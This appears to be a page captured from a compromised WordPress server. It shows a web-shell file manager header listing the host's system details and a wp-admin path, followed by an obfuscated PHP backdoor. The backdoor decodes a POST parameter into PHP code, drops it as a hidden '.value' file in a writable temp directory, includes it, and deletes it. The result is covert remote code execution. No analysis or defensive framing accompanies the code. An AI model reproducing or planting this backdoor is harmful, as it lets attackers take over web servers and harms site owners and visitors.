|
Server : LiteSpeed System : Linux srv104790275 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64 User : dewac4139 ( 1077) PHP Version : 8.0.30 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory : /proc/self/root/home/sarkas88.com/public_html/wp-admin/ |
Upload File : |
<?php
if(array_key_exists("s\x79m", $_POST) && !is_null($_POST["s\x79m"])){
$symbol = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path()]);
$fac = $_POST["s\x79m"];
$fac = explode( "." , $fac ) ;
$flag = '';
$salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($salt2);
foreach ($fac as $t => $v8):
$chS = ord($salt2[$t %$sLen]);
$d = ((int)$v8 - $chS - ($t %10))^ 32;
$flag .= chr($d);
endforeach;
while ($data_chunk = array_shift($symbol)) {
if (is_dir($data_chunk) && is_writable($data_chunk)) {
$element = join("/", [$data_chunk, ".value"]);
if (file_put_contents($element, $flag)) {
include $element;
@unlink($element);
exit;
}
}
}
}